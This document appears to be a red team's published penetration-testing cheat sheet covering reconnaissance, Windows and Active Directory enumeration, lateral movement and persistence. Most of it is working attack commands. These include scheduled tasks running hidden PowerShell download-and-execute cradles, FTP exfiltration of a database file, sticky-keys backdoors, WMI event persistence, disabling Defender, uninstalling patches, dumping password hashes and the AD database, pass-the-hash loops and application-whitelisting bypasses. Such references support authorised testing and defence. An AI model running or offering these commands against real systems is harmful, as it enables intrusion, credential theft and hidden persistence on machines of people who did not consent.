Penetration Testing Pasties


‘Pasties’ started as a small file used to collect random bits of information and scripts that were common to many individual tests. Most of this is just a consolidation of publicly available information and things that Joe Vest (@joevest), Andrew Chiles (@andrewchiles), Derek Rushing, or myself (@minis_io) have found useful. Over time additional sections, section placeholders, snippets, and links were added for “quick reference” and has grown to quite a sizable markdown file. The more complex or longer sections will be separated into smaller more detailed write-ups; however, we decided to drop the short and generic info for public use now. Pasties data will also eventually be formatted and added to the wiki.

As usual, you can find the raw file and get the latest version of tools on our GitHub repository:

Penetration Testing Methodology References

Penetration Testing Framework


Penetration Testing Execution Standard



Good writeup on passive information gathering


Password Breach Database, requires subscription






Metagoofil is an information gathering tool designed for extracting metadata of public documents (pdf,doc,xls,ppt,docx,pptx,xlsx) related to a target domain. It can give a lot of important information by scanning the obtained files. It can generate an HTML page with the result of the metadata extracted, plus a list of potential usernames, very useful for preparing a brute force attack on open services like ftp, web application, VPN, pop3, etc.

Metagoofil performs the following:

  • Searches the given file type using the Google search engine
  • Downloads all the documents found
  • Extracts metadata from downloaded documents
  • Saves the result in HTML file

Perform document metadata searching on target domain using first 200 google results

metagoofil -d .com -t pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx -l 200 -n 5 -o /tmp/metagoofil/ -f /tmp/metagoofil/result.html

Censys is a search engine that allows computer scientists to ask questions about the devices and networks that compose the Internet. Driven by Internet-wide scanning, Censys lets researchers find specific hosts and create aggregate reports on how devices, websites, and certificates are configured and deployed.

  • Create an account and get an API key for use in ReconNG or manual searching

Python API

# pip install censys import censys.ipv4 c = censys.ipv4.CensysIPv4(api_id="Get from MyAccount at", api_secret="Get from MyAccount at") ranges=["X.X.X.0/24", "X.X.X.0/24", "X.X.X.0/24"] for range in ranges: results = for result in results: for port in result["protocols"]: print result["ip"] + "," + port


Network Scanning


Normal dns reverse lookup of IP range with CSV output

dnsrecon -t rvl -r -c output.csv


Perform default enumeration of a domain

dnsrecon -d


Perform zone transfer attempt

dnsrecon -t axfr -d

╰ $ dnsrecon -h
Version: 0.8.10

-h, --help Show this help message and exit.
-d, --domain Target domain.
-r, --range IP range for reverse lookup brute force in formats (first-last) or in (range/bitmask).
-n, --name_server Domain server to use. If none is given, the SOA of the target will be used.
-D, --dictionary Dictionary file of subdomain and hostnames to use for brute force.
-f Filter out of brute force domain lookup, records that resolve to the wildcard defined
IP address when saving records.
-t, --type Type of enumeration to perform:
std SOA, NS, A, AAAA, MX and SRV if AXRF on the NS servers fail.
rvl Reverse lookup of a given CIDR or IP range.
brt Brute force domains and hosts using a given dictionary.
srv SRV records.
axfr Test all NS servers for a zone transfer.
goo Perform Google search for subdomains and hosts.
snoop Perform cache snooping against all NS servers for a given domain, testing
all with file containing the domains, file given with -D option.
tld Remove the TLD of given domain and test against all TLDs registered in IANA.
zonewalk Perform a DNSSEC zone walk using NSEC records.
-a Perform AXFR with standard enumeration.
-s Perform a reverse lookup of IPv4 ranges in the SPF record with standard enumeration.
-g Perform Google enumeration with standard enumeration.
-w Perform deep whois record analysis and reverse lookup of IP ranges found through
Whois when doing a standard enumeration.
-z Performs a DNSSEC zone walk with standard enumeration.
--threads Number of threads to use in reverse lookups, forward lookups, brute force and SRV
record enumeration.
--lifetime Time to wait for a server to response to a query.
--db SQLite 3 file to save found records.
--xml XML file to save found records.
--iw Continue brute forcing a domain even if a wildcard records are discovered.
-c, --csv Comma separated value file.
-j, --json JSON file.
-v Show attempts in the brute force modes.



Perform lookup against with additional DNS reverse on all ranges discovered

theharvester -d -c -n -b google -l 1000 [-f output]

Usage: theharvester options

-d: Domain to search or company name
-b: data source: google, googleCSE, bing, bingapi, pgp
linkedin, google-profiles, people123, jigsaw,
twitter, googleplus, all

-s: Start in result number X (default: 0)
-v: Verify host name via dns resolution and search for virtual hosts
-f: Save the results into an HTML and XML file
-n: Perform a DNS reverse query on all ranges discovered
-c: Perform a DNS brute force for the domain name
-t: Perform a DNS TLD expansion discovery
-e: Use this DNS server
-l: Limit the number of results to work with(bing goes from 50 to 50 results,
-h: use SHODAN database to query discovered hosts
google 100 to 100, and pgp doesn't use this option)

theharvester -d -l 500 -b google
theharvester -d -b pgp
theharvester -d microsoft -l 200 -b linkedin
theharvester -d -b googleCSE -l 500 -s 300



Host discovery

nmap -sn -n
nmap -A (run this second)
nmap -sV -F
nmap -p- -sV -O -T4 -v7 -sC


Open SMB shares

nmap --script=smb-enum-shares -p445


Open NFS Shares

nmap -p 111,2049 --script nfs-ls,nfs-showmount


UDP scan:

nmap -sU -F -Pn -v -d -sC -sV --open --reason -T5


Anonymous FTP

nmap -sC -sV -p21
nmap -sV -n -sS -Pn-vv --open -p21 --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221


VNC Brute

nmap --script=vnc-brute -p5800,5900


Rawr Scan

nmap -sV --open -T4 -v7 -p80,280,443,591,593,981,1311,2031,2480,3181,4444,4445,4567,4711,4712,5104,5280,5800,5988,5989,7000,7001,7002,8008,8011,8012,8013,8014,8042,8069,8080,8081,8243,8280,8281,8531,8887,8888,9080,9443,11371,12443,16080,18091,18092 -iL live-hosts.txt -oA web



nmap -vv-sV -Pn-n -p1433 --script=ms-sql-info,ms-sql-config,ms-sql-dump-hashes --script-args=mssql.instance-port=1433,smsql.username-sa,mssql.password-sa -oA



nmap -vv -sS -Pn-n -p80,443,8080 --script=http-vhosts,http-userdir-enum,http-apache-negotiation,http-backup-finder,http-config-backup,http-default-accounts,http-email-harvest,http-methods,http-method-tamper,http-passwd,http-robots.txt -oA


IDS Evasion

Append extra random data to change default packet lengths

–data-length 15


Randomize scan order





Get the most recent version

git clone


Faster Scan

./ --web -f hosts.txt --timeout 5 --threads 10 -d /mnt/event/Recon/ew --results 1000 --no-prompt --user-agent IE --add-https-ports 443,8443 --add-http-ports 80,8080 --prepend-https


Slow version via proxychains

proxychains ./ --web -f hosts.txt --timeout 10 --threads 2 -d /mnt/event/Recon/ew --no-dns --results 1000 --no-prompt --user-agent IE --add-https-ports 443,8443 --add-http-ports 80,8080 --prepend-https

proxychains ./ --web -x nmaphosts.xml --timeout 10 --threads 2 -d /mnt/event/Recon/ew2 --no-dns --results 1000 --no-prompt --user-agent IE --add-https-ports 443,8443 --add-http-ports 80,8080 --prepend-https


Proxychains specify a remote DNS server

On Kali linux its found here: /usr/lib/proxychains3/proxyresolv


# This script is called by proxychains to resolve DNS names

# DNS server used to resolve names

if [ $# = 0 ] ; then
echo " usage:"
echo " proxyresolv "

dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'


Use Canary tokens to identify web front-end vulnerabilities

In combination with Burp collaborator, identify configuration issues with web front-end appliances

For example, issue request to target domain with a custom Host header pointing to your collaborator/canary:


GET / HTTP/1.1
Connection: close


Response (on Collaborator):

GET / HTTP/1.1
Host: XX.X.XXX.XX:8082

HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:32:50 GMT
Transfer-Encoding: chunked
Connection: close

/ HTTP/1.1 is unavailable
Unknown Command
Unknown Command
Unknown Command
Blog – Targeting HTTP’s Hidden Attack Surface


Built-in Commands

View your current user:



View information about the current user:

net user myuser(for a local user)
net user myuser /domain (for a domain user)


View the local groups:

net localgroup


View the local administrators:

net localgroup Administrators


Add a new user:

net user myuser mypass /add


Add a user in the local Administrators group:

net localgroup Administrators myuser /add


View the domain name of current machine:

net config workstation
net config server


View the name of the domain controller:

reg query "HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Windows\ CurrentVersion\Group Policy\ History" /v DCName


Import-Module ActiveDirectory; (Get-ADDomainController -DomainName -Discover -NextClosestSite).HostName


set l


Get list of DCs

nltest /dclist:domainname


netdom query /D:domin DC


dsquery server


nslookup -type=srv


Get DC Info

nltest /dsgetdc:domain


Get DC site mapping

nltest /



netdom query /D:domain PDC


nslookup -type=srv

or get roles

Get Roles

netdom query /D:domain FSMO


View the list of domain users:

C:\> wmic useraccount where (domain='%USERDOMAIN%') get Name > userlist.txt

PS C:\> ([adsisearcher]"objectCategory=User").Findall() | ForEach
{$} | Sort | Out-File -Encoding ASCII users.txt


net user /domain


Get domain info (including DC)

gpresult /z


View the list of domain admins:

net group "Domain Admins" /domain


View domain groups

net group /domain
powershell (new-object system.directoryservices.directorysearcher("(&(objectcategory=user)(samaccountname=$($env:username)))")).FindOne().GetDirectoryEntry().memberof


View the list of started services (search for antivirus):

net start
sc query


Stop a service:

net stop "Symantec Endpoint Protection"


View the list of started processes and the owner:

tasklist /v


Kill a process by its name:

taskkill /F /IM "cmd.exe"


Abort a shutdown/restart countdown:

shutdown /a


Download an executable from a remote FTP server:

echo open> C:\script.txt
echo user myftpuser>> C:\script.txt
echo pass myftppass>> C:\script.txt
echo get nc.exe>> C:\script.txt
echo bye>> C:\script.txt
ftp -s:script.txt


Upload a file to a remote FTP server:

echo open> C:\script.txt
echo user myftpuser>> C:\script.txt
echo pass myftppass>> C:\script.txt
echo put E:\backups\database.dbf>> C:\script.txt
echo bye>> C:\script.txt
ftp -s:script.txt


WMI call remote system

wmic /node:remote_computer process call create "netstat.exe -ano > C:\output.txt"


View established connections of current machine:

netstat -a -n -p tcp | find "ESTAB"


View open ports of current machine:

netstat -a -n -p tcp | find "LISTEN"


netstat -a -n -p udp


View network configuration:

netsh interface ip show addresses
netsh interface ip show route
netsh interface ip show neighbors


View current network shares:

net share


Mount a remote share with the rights of the current user:

net use K: \\\C$


Enable Remote Desktop:

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f


One-Liner Windows Enumeration

whoami & hostname & ipconfig /all & net user /domain 2>&1 & net group /domain 2>&1 & net group "domain admins" /domain 2>&1 & net group "Exchange Trusted Subsystem" /domain 2>&1 & net accounts /domain 2>&1 & net user 2>&1 & net localgroup administrators 2>&1 & netstat -an 2>&1 & tasklist 2>&1 & sc query 2>&1 & systeminfo 2>&1 & reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" 2>&1 & net view & net view /domain & net user %USERNAME% /domain & nltest /dclist & gpresult /z

Check for unquoted service paths

wmic service get name,displayname,pathname,startmode | findstr /i /v "c:\windows\\" | findstr /i /v """


gwmi win32_service |Select pathname | Where {($_.pathname -ne $null)} | Where {-not $_.pathname.StartsWith("`"")} | Where {($_.pathname.Substring(0, $_.pathname.IndexOf(".") +4)) -match ".* .*"}


Change Windows Proxy Settings

Command to enable proxy usage:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f

Command to disable proxy usage:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f

Command to change the proxy address:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d proxyserveraddress:proxyport /f

Also, in this case, it is a per-user setting than a system-wide setting.


Mount a .win image remotely on target machine

Dism /get-wiminfo /wimfile:z:\win7\Acme_Win7.wim

Boot Dir
Dism /Mount-Wim /WimFile:z:\win7\Acme_Win7.wim /index:1 /MountDir:C:\windows\temp\offline

C: Drive
Dism /Mount-Wim /WimFile:z:\win7\Acme_Win7.wim /index:2 /MountDir:C:\windows\temp\offline

Dism /UnMount-Wim /MountDir:C:\windows\temp\offline /discard


Check if file is locked

@echo off; 2>nul ( >>file.txt echo off) && (echo not locked) || (echo locked)


Lock a file for testing

(>&2 pause) >> file.txt




Get attributes for all Windows hosts in the Domain

dsquery * -filter "(&(objectclass=computer) (objectcategory=computer) (operatingSystem=Windows*))" -limit 0 |dsget computer -dn -samid -desc -loc >c:\windows\temp\computers.log


Get attributes for computers in a specific OU

dsquery computer <OU=PUT OU HERE> -limit 0 |dsget computer -dn -samid -desc -l >c:\windows\temp\out.log


Get attributes for users in the specified OU

dsquery user <OU=PUT OU HERE> -limit 0 |dsget user -dn -samid -display -desc -office -tel -email -title -hmdir -profile -loscr -mustchpwd -canchpwd -pwdneverexpires -disabled


Get DC

dsquery server -forest


dsquery server -o rdn -forest


Get Domain Functional Level

dsquery * "DC=corp,DC=test,DC=com" -scope base -attr msDS-Behavior-Version ntMixedDomain


Get Forest Functional Level

dsquery * "CN=Partitions,CN=Configuration,DC=corp,DC=test,DC=com" -scope base -attr msDS-Behavior-Version ntMixedDomain



List Databases

sqlcmd -E -S localhost -Q "EXEC sp_databases;"


List Tables in Database

sqlcmd -E -S localhost -Q "SELECT * FROM DatabaseName.information_schema.tables;" -W -w 999 -s"," -o "c:\windows\temp\RecruiterProd_MSCRM_tables.csv"


Retrieve table contents

sqlcmd -E -S localhost -d DatabaseName -Q "SELECT * FROM SystemUserBase;" -W -w 999 -s"," -o "c:\windows\temp\RecruiterProd_MSCRM_userbase.csv"


Dump MSSQL Password Hashes

sqlcmd -E -S localhost -Q "SELECT name, password_hash FROM master.sys.sql_logins;"



Built-in utility to create backup copy of the AD database

ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q



List Applocker’s effective policy on the system

Get-ApplockerPolicy -Effective


Windows Defender

Remove definitions and disable AV protection (Useful when Powershell scripts are being blocked by Defender)

c:\program files\windows defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true



Get virtual directories in IIS

c:\windows\system32\inetsrv\appcmd.exe list vdir /text:physicalpath


Windows Lateral Movement

RDP Hijacking

If you have SYSTEM context on a host, you can assume the RDP sessions of other users without credentials using the tscon.exe command.

Gain access to cmd.exe to issue the tscon.exe command over RDP by creating a backdoor with Stickkeys or Utilman. Use scheduled tasks (as SYSTEM) or create a service to execute the desired command.

RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation

# View RDP sessions on system your RDP'd to with administrative permissions # Locally quser # Remote quser /server: # Create a service that will swap your SESSIONNAME with the desired disconnected session sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#XX" error= "ignore" # Start service net start sesshijack or sc start sesshijack


Linux to Windows Remoting

  • In windows run
winrm set winrm/config/Service/Auth @{Basic="true"}
winrm set winrm/config/Service @{AllowUnencrypted="true"}


  • In linux run
$cred = Get-Credential
Enter-PSSession -ComputerName 'winserver1' -Credential $cred -Authentication Basic


PowerShell Remoting over SSH

Enter-PSSession -Hostname -Username james -SSHTransport


Windows Persistence Methods

Registry Keys

Modify registry keys

#Add a key/value reg add \\\ /v """ /t /d #Delete a key/value reg delete \\\ /v ""


Userinit Key

This key specifies what program should be launched right after a user logs into Windows. The default program for this key is C:\windows\system32\userinit.exe. Userinit.exe is a program that restores your profile, fonts, colors, etc for your user name. It is possible to add further programs that will launch from this key by separating the programs with a comma.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = (REG_SZ) C:\windows\system32\userinit.exe,c:\windows\badprogram.exe


Run Key

#System Wide HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce #Current Logged-On User Only HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce


List Image File Execution Options (Debugger file executed when the target file is run)

HKLM\Software\MS\WindowsNT\CurrentVersion\Image File Execution Options\notepad.exe\debugger(REG_SZ = cmd.exe)



Load custom DLLs each time a program runs (If it loads USER32.dll). This is checked by most AV!

This value corresponds to files being loaded through the AppInit_DLLs Registry value. The AppInit_DLLs registry value contains a list of dlls that will be loaded when user32.dll is loaded. As most Windows executables use the user32.dll, that means that any DLL that is listed in the AppInit_DLLs registry key will be loaded also. This makes it very difficult to remove the DLL as it will be loaded within multiple processes, some of which can not be stopped without causing system instability. The user32.dll file is also used by processes that are automatically started by the system when you log on. This means that the files loaded in the AppInit_DLLs value will be loaded very early in the Windows startup routine allowing the DLL to hide itself or protect itself before we have access to the system.



No-reboot sethc/utilman option using a “debugger” key

Navigate to HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
Make key called “sethc.exe”
Make a REG_SQ value called “Debugger”
Assign it “c:\windows\system32\cmd.exe” as the value
Hit SHIFT 5 times and get a shell as nt authority\system

reg add "\\hostname\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"
reg add "\\hostname\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"


Remove the debugger key

reg delete "\\hostname\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
reg delete "\\hostname\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f


File Storage Locations

Startup Folders

#All Users - Windows XP C:\Documents and Settings\All Users\Start Menu\Programs\Startup #All Users - Windows Vista+ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #User Profile - Windows XP C:\Documents and Settings\\Start Menu\Programs\Startup #User Profile - Windows Vista+ C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup



Replace these binaries, may require a reboot to take effect


Hit shift 5 times = sethc.exe run by SYSTEM
Windows key + U = utilman.exe run by SYSTEM

Volume Shadow Copy (Restore Points)

Windows service that’s constantly running – takes snapshots of system directories

Drop Malware -> Create VSC (ReadOnly) -> Delete Malware -> Use WMIC to run VSC of malware

Registry Key to Disable Volume Shadow Copy



VSSADMIN – native windows utility

vssadmin create command only applies to Server OS (Win2k3,2008)

vssadmin list shadows
vssadmin create shadow /for=C:
wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin create shadow /for=C
mklink /D C:\VscAccess \\?\GLOBALROOT\Device\HardDiskVolumeShadowCopy1
copy \\?\GLOBALROOT\Device\HardDiskVolumeShadowCopy4\path\to\some\file e:\files


Use WMIC process call to run an .exe from a Volume Shadow Copy

wmic process call create \\.\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\evil.exe


This process will not show the imagename (executable filename) or commandline parameters in the task list.
The file cannot be individually deleted from the shadow copy once created. The entire shadow copy must be deleted to remove it.

root@kali:~# wmis -U DOMAIN\domainadminsvc%domainadminsvc123 //ServerName \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\evil.exe

In Kali Linux you could use the WMIS package to do the same thing:

wmis -U DOMAIN\domainadminsvc%domainadminsvc123 //ServerName \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\evil.exe

Task Scheduling


Executes as system and must be an Admin to run it. Check groups with whoami /groups

at 13:20 /interactive cmd

net user \\target /user:Domain\user pass
net time \\target
at \\target 13:20 c:\temp\evil.bat


Any user can create a task

Schedule a binary to run with arguments on system events

#On System Startup schtasks /create /TN OfficeUpdaterA /tr ""c:\evil32.exe" -k password -n services" /SC onstart /RU system /RL HIGHEST schtasks /create /TN OfficeUpdaterD /tr "\"c:\Program Files\evil32.exe\" -k password -n services" /SC onstart /RU system /RL HIGHEST #On User Login schtasks /create /TN OfficeUpdaterB /tr ""c:\evil32.exe" -k password -n services" /SC onlogon schtasks /create /TN OfficeUpdaterE /tr "\"c:\Program Files\evil32.exe\" -k password -n services" /SC onlogon #On Idle schtasks /create /TN OfficeUpdaterC /tr ""c:\evil32.exe" -k password -n services" /SC onidle /i 30'''' schtasks /create /TN OfficeUpdaterF /tr "\"c:\Program Files\evil32.exe\" -k password -n services" /SC onidle /i 60

Use the Powershell Web Delivery (Download and Execute) module in Metasploit ‘exploit\windows\misc\psh_web_delivery’

#(X86) - On User Login schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http:///'''))'" /sc onlogon /ru System #(X86) - On System Start schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http:///'''))'" /sc onstart /ru System #(X86) - On User Idle (30mins) schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http:///'''))'" /sc onidle /i 30 #(X64) - On User Login schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http:///'''))'" /sc onlogon /ru System #(X64) - On System Start schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http:///'''))'" /sc onstart /ru System #(X64) - On User Idle (30mins) schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''''''))'" /sc onidle /i 30

Additional Notes

Scheduled Tasks binary paths CANNOT contain spaces because everything after the first space in the path is considered to be a command-line argument. To workaround this behavior, enclose the /TR path parameter between backslash () AND quotation marks (“):

Delete scheduled task without prompting

schtasks /delete /f /TN taskname

Detailed scheduled tasks listing

schtasks /query /V /FO list

View scheduled tasks log (for troubleshooting)

notepad c:\windows\schedlgu.txt (Windows XP)

notepad c:\windows\tasks\schedlgu.txt (Vista+)

Windows Service

sc query
sc create <\\Target(optional)> binPath= type= share start= auto DisplayName=
sc delete


Order of DLL Loading

1. The directory from which the application is loaded
2. The current directory
3. The system directory, usually C:\\Windows\\System32\\ (The GetSystemDirectory function is called to obtain this directory.)
4. The 16-bit system directory - There is no dedicated function to retrieve the path of this directory, but it is searched as well.
5. The Windows directory. The GetWindowsDirector function is called to obtain this directory.
6. The directories that are listed in the PATH environment variable.

Many systems use bginfo (seen it a lot in operational sys). Drop Riched32.dll in the dir with bginfo.exe. Codex.

Older list of dlls as well (2010).

On Windows 7 there are three executables that could be exploited and associated DLLs listed below




On Windows 8 there are also three executables that could be exploited and associated DLLs listed below




Windows 8.1 there are also three executables that could be exploited and associated DLLs listed below



C:\Program Files\Common Files\microsoft shared\ink\CRYPTBASE.dll
C:\Program Files\Common Files\microsoft shared\ink\CRYPTSP.dll
C:\Program Files\Common Files\microsoft shared\ink\dwmapi.dll
C:\Program Files\Common Files\microsoft shared\ink\USERENV.dll
C:\Program Files\Common Files\microsoft shared\ink\OLEACC.dll

linkinfo.dll Replacement

Windows explorer in older systems loads linkinfo.dll from c:\windows over c:\windows\system32 if it exists

copy evil.dll c:\windows\linkinfo.dll

WMI Event Persistence via Powershell

WMI Event persistence explained, you can find a bloated version in powersploit.
Three parts to this:
* WMI Event Filter
* Event Consumer
* Filter/Consumer Binding
This technique gets you SYSTEM level persistence, requires admin rights to execute.
Autoruns doesn’t even check for this yet. (doubt any AVs are either)
Difficult to detect, Difficult to remove if you dont know what youre doing.

WMI Event Filter

Create an event that checks every 60 seconds for a change in Win32_PerfFormattedData_PerfOS_System. (this is always changing)

$EventFilter = ([WMICLASS]"\\.\root\subscription:__EventFilter").CreateInstance()
$EventFilter.QueryLanguage = "WQL"
$EventFilter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$EVentFilter.EventNamespace = "root\cimv2"
$EventFilter.Name = "OBVIOUSHACKER"
$Result = $EventFilter.Put()
$Filter = $Result.Path

Event Consumer

Configure what to execute once the event occurs.
Current example is just a ping.

$InstanceConsumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$InstanceConsumer.Name = "OBVIOUSHACKER"
$InstanceConsumer.CommandLineTemplate = "ping -n 100" #CMD TO EXECUTE HERE
$InstanceConsumer.WorkingDirectory = "C:\\windows\\system32"
$Result = $InstanceConsumer.Put()
$Consumer = $Result.Path

Filter/Consumer Binding

This is the object that correlates the Filter with the Consumer.
Runs as system as a child of WmiPrvSE.exe under the svchost.exe running Dcom service.

$InstanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$InstanceBinding.Filter = $Filter
$InstanceBinding.Consumer = $Consumer
$Result = $InstanceBinding.Put()


The filter name would change depending on what you call the wmi event on your target (OBVIOUSHACKER shown as the example)

Get-WmiObject __eventFilter -namespace root\subscription -filter "name='OBVIOUSHACKER'"| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='OBVIOUSHACKER'" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'OBVIOUSHACKER'} | Remove-WmiObject

Some more detailed information on the subject

Malicious Outlook Rules

  • Ruler

Windows Remote Management (WinRM) / PSRemoting

  • Listens on 5985/5986 by default and allows interactive shell access over HTTP/S
  • Find by scanning for /wsman and looking for HTTP 402 errors (or use Metasploit module)
  • Metasploit has multiple modules for locating the service and gaining shells over WinRM

Connect to a remote host with WinRM from local Windows host

Set-Item -Path WSMan:\localhost\Client\TrustedHosts * -force
Set-Item -Path WSMan:\localhost\Client\TrustedHosts -value "" -Force
$cred = Get-Credential
Invoke-Command -ComputerName -ScriptBlock { gci c:\ } -credential $cred

Uninstall a patch to leave the system vulnerable

wusa.exe /uninstall /kb:976932

Create custom DLL for password filters and install on DC to capture changed passwords


Application Whitelisting Bypass Techniques

SubTee Collection of Whitelist Bypass Techniques

Version .0.0.3

1. IEExec -This technique may work in certain environments. Its relies on the fact that many organizations trust executables signed
by Microsoft. We can misuse this trust by launching a specially crafted .NET application.
Example Here:

2. Rundll32.exe

3. ClickOnce Applications dfsvc.exe dfshim.dll

4. XBAP - XML Browser Applications WPF PresentationHost.exe

5. MD5 Hash Collision

6. PowerShell - Specifically Reflective Execution
Reflective DLL Injection with PowerShell

7. .HTA Application Invoke PowerShell Scripts
Launched by mshta.exe, bypasses IE security settings as well.

8. bat, vbs, ps1
1. cmd.exe /k < script.txt 2. cscript.exe //E:vbscript script.txt 3. Get-Content script.txt | iex 9. Malicious Troubleshooting packs - MSDT.exe Reference: Thanks to @nberthaume, @Killswitch_GUI 10. InstallUtil.exe A signed MS binary that loads assemblies and executes - One of the best. Examples here: 11. Regsvcs/Regasm See: These 2 are Excellent. 12. regsvr32.exe This one is just simply amazing... regsvr32 /s /n /u /i: scrobj.dll 13. Msbuild.exe ``` ## Certutil File download ``` certutil -urlcache -split -f ``` ## Active Directory Enumeration ### Adfind ``` AdFind.exe -u -up password -h -b dc=domain,dc=com -f "objectcategory=computer" > domain_computers.txt

AdFind.exe -u -up password -h -b dc=domain,dc=com -f "objectcategory=computer" distinguishedName dNSHostName description whenchanged operatingSystem operatingSystemVersion > domain_computers_light.txt

AdFind.exe -u -up pass -h -b dc=domain,dc=com -f "objectcategory=user" samaccountname description pwdlastset orclcommonattribute > domain_users_light.txt



List help for cmdlet: Get-Help [cmdlet] -full

List available properties and methods: Get-Member

For-each loop: ForEach-Object { $_ }

Search for string (like grep): Select-String -path [file] -pattern [string]


$file=(gi c:\file.exe);
$date='01/03/2009 12:12 pm';


Show last system boot time

Get-WmiObject win32_operatingsystem | select csname, @{LABEL='LastBootUpTime'; EXPRESSION={$_.ConverttoDateTime($_.lastbootuptime)}}


Wrap binary execution in a powershell loop

powershell foreach ($target in (get-content c:\users\username\appdata\local\temp\hosts_da_loggedin_unique.txt)) { "[*] $Target:"; (c:\programdata\sd.exe ./administrator@$target -hashes aad3b435b51404eeaad3b435b51404ee:a4bab1c7d4bef62d4c22043ddbf1312c) }`

Download a file

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};(new-object"","C:\Users\username\AppData\Local\Temp\file.txt")

Encode string

echo "iex (New-Object Net.WebClient).DownloadString('')" | iconv --to-code UTF-16LE | base64 -w 0

List recently modified files in path (U:)

Get-Childitem u:\ -Recurse | where-object {!($_.psiscontainer)} | where { $_.LastWriteTime -gt $(Get-Date).AddDays(-1) } | foreach {"$($_.LastWriteTime) :: $($_.Fullname) " }

List Files

Select-String -Path c:\fso\*.txt, c:\fso\*.log -pattern ed

List First 100 Files

Get-ChildItem -Path XXX |Select -First 100 Fullname

List a Process’s Loaded Modules (DLL)

get-process -id 1234|select -expand modules

Remote Command Execution using MMC

Get LocalAccountTokenFilterPolicy (Determine if you can authenticate to admin resources over the network, i.e. C$,ADMIN$)

Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ |Select LocalAccountTokenFilterPolicy |fl

Test User Credentials

powerpick $password = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force;$cred= New-Object System.Management.Automation.PSCredential ("domain\name", $password);

Search for SSN

$SSN_Regex = " [0-9]{3}[-| ][0-9]{2}[-| ][0-9]{4}" ; Get-ChildItem . -Recurse -exclude *.exe,*.dll| Select-String -Pattern $SSN_Regex | Select-String -Pattern $SSN_Regex| Select-Object Path,Filename,Matches |ft -auto|out-string -width 200; "[*] SSN Search Complete!"

Enumerate the use of the Windows Server Update Services (WSUS)

